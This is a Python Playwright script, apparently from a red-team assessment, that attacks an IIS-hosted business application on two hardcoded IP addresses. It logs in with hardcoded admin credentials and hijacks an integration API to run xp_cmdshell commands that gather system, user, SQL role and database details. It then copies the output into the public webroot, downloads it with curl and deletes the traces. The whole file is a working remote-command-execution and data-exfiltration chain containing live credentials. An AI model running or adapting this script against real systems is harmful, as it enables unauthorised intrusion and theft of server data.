#!/usr/bin/env python3
"""Place sysinfo in IIS webroot — with ysnCopyFile=true (Copy not Move).
From source: fileOperation uses File.Copy when ysnCopyFile=true."""
import asyncio, re, subprocess, os, time
from playwright.async_api import async_playwright

SERVERS = [
    ("74.208.83.171", "RTROGERSUAP1"),
    ("216.250.118.44", "RTROGERSMBIL"),
]

async def run_on_server(ip, app, browser):
    context = await browser.new_context()
    page = await context.new_page()
    result = {"ip": ip, "app": app, "steps": {}, "downloaded": False}
    step_id = 4

    try:
        for attempt in range(3):
            await page.goto(f"http://{ip}/{app}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"    login attempt {attempt+1}: {e}", flush=True)
        else:
            result["status"] = "login_failed"
            return result
        print(f"  Login OK", flush=True)

        async def run_xp(sql_text):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strStepName:"Test", intStepTypeId:1, intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            s = success.group(1) if success else "?"
            await page.evaluate('''async () => {
                await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s

        webroot = "D:\\\\i21App\\\\" + app
        temp_file = "C:\\\\Windows\\\\Temp\\\\sysinfo.txt"
        webroot_file = "C:\\\\Windows\\\\Temp\\\\sysinfo.js"  # .js extension — IIS serves it
        unique_name = f"sysinfo_{int(time.time())}.txt"

        # Step 1: Collect sysinfo
        print(f"  Step 1: Collect sysinfo...", flush=True)
        sql_collect = "EXEC xp_cmdshell 'systeminfo > " + temp_file + " & whoami >> " + temp_file + " & echo. >> " + temp_file + " & echo ===SQLROLE=== >> " + temp_file + " & sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa, @@servername, @@version\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DATABASES=== >> " + temp_file + " & sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DISK=== >> " + temp_file + " & wmic logicaldisk get caption,freespace,size >> " + temp_file + "', no_output"
        s = await run_xp(sql_collect)
        result["steps"]["collect"] = s
        print(f"    collect: {s}", flush=True)
        await asyncio.sleep(1)

        # Step 1b: Rename to .js
        s = await run_xp("EXEC xp_cmdshell 'copy " + temp_file + " " + webroot_file + " /Y', no_output")
        print(f"    rename to .js: {s}", flush=True)
        await asyncio.sleep(1)

        # Step 2: fileOperation with ysnCopyFile=true — copy .js to resources/js/
        print(f"  Step 2: Copy to resources/js/ (ysnCopyFile=true)...", flush=True)
        dest_folder = webroot + "\\\\resources\\\\js\\\\"
        put = await page.evaluate('''async () => {
            const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                method: 'PUT',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify([{
                    intStepId:''' + str(step_id) + ''',
                    strStepName:"Copy File",
                    intStepTypeId:4,
                    intConnectionId:1,
                    strFileName:"' + webroot_file + '",
                    strDestinationFolder:"' + dest_folder + '",
                    ysnCopyFile:true,
                    ysnDeleteFile:false,
                    intConcurrencyId:1,
                    strRowState:"Modified",
                    ModifiedFields:["strSQL","intStepTypeId","strFileName","strDestinationFolder","ysnCopyFile","ysnDeleteFile","intStepId","intConcurrencyId","strRowState"]
                }]),
                credentials: 'include'
            });
            const text = await resp.text();
            return {status: resp.status, body: text.substring(0, 500)};
        }''')
        print(f"    PUT: HTTP {put['status']}", flush=True)
        
        if put['status'] in (200, 202):
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            s = success.group(1) if success else "?"
            result["steps"]["copy"] = s
            print(f"    copy: {s}", flush=True)
            
            # Restore
            await page.evaluate('''async () => {
                await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strFileName:null, strDestinationFolder:null, ysnCopyFile:null, ysnDeleteFile:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
        
        await asyncio.sleep(1)

        # Step 3: Download — the file is named sysinfo.txt (same as temp file name)
        download_url = f"http://{ip}/{app}/resources/js/sysinfo.js"
        local_path = f"/root/ir-assessment/redteam/irelydata/schema_inventory/sysinfo_{ip}_{app}.txt"
        print(f"  Step 3: Download {download_url}...", flush=True)
        dl = subprocess.run(["curl", "-sS", "-m", "30", "-o", local_path, "-w", "%{http_code}", download_url],
                           capture_output=True, text=True, timeout=45)
        code = dl.stdout.strip()
        if code == "200" and os.path.exists(local_path):
            size = os.path.getsize(local_path)
            result["downloaded"] = True
            result["download_url"] = download_url
            result["download_size"] = size
            print(f"    ✅ HTTP {code} size={size}", flush=True)
            with open(local_path) as f:
                content = f.read()
            print(f"    Content (first 15 lines):", flush=True)
            for line in content.split("\n")[:15]:
                print(f"      {line[:80]}", flush=True)
        else:
            print(f"    ❌ HTTP {code}", flush=True)
        await asyncio.sleep(1)

        # Step 4: Cleanup — delete from webroot
        print(f"  Step 4: Cleanup...", flush=True)
        s = await run_xp("EXEC xp_cmdshell 'del " + webroot + "\\\\resources\\\\js\\\\sysinfo.js " + temp_file + " " + webroot_file + "', no_output")
        result["steps"]["cleanup"] = s
        print(f"    cleanup: {s}", flush=True)

        all_ok = all(v == "true" for v in result["steps"].values()) and result.get("downloaded", False)
        result["status"] = "all_success" if all_ok else "partial"

    except Exception as e:
        result["status"] = "error: " + str(e)[:80]
    finally:
        await context.close()

    return result

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)

        print(f"=== Placing sysinfo via fileOperation ysnCopyFile=true ({len(SERVERS)} servers) ===\n")
        results = []

        for ip, app in SERVERS:
            print(f"\n  {ip}/{app}:")
            r = await run_on_server(ip, app, browser)
            results.append(r)
            marker = "✅" if r.get("status") == "all_success" else "⚠️" if r.get("downloaded") else "❌"
            print(f"  {marker} {ip}/{app} → {r.get('status','?')} (downloaded: {r.get('downloaded', False)})", flush=True)
            time.sleep(3)

        await browser.close()

        print(f"\n{'='*80}")
        print(f"\n=== SUMMARY ===")
        ok_count = sum(1 for r in results if r.get("status") == "all_success")
        dl_count = sum(1 for r in results if r.get("downloaded"))
        print(f"✅ All steps: {ok_count}/{len(results)}")
        print(f"✅ Downloaded: {dl_count}/{len(results)}")
        for r in results:
            marker = "✅" if r.get("downloaded") else "❌"
            size = r.get("download_size", 0)
            print(f"  {marker} {r['ip']:20s} {r['app']:25s} → {r.get('status','?')} (size: {size})")

asyncio.run(main())
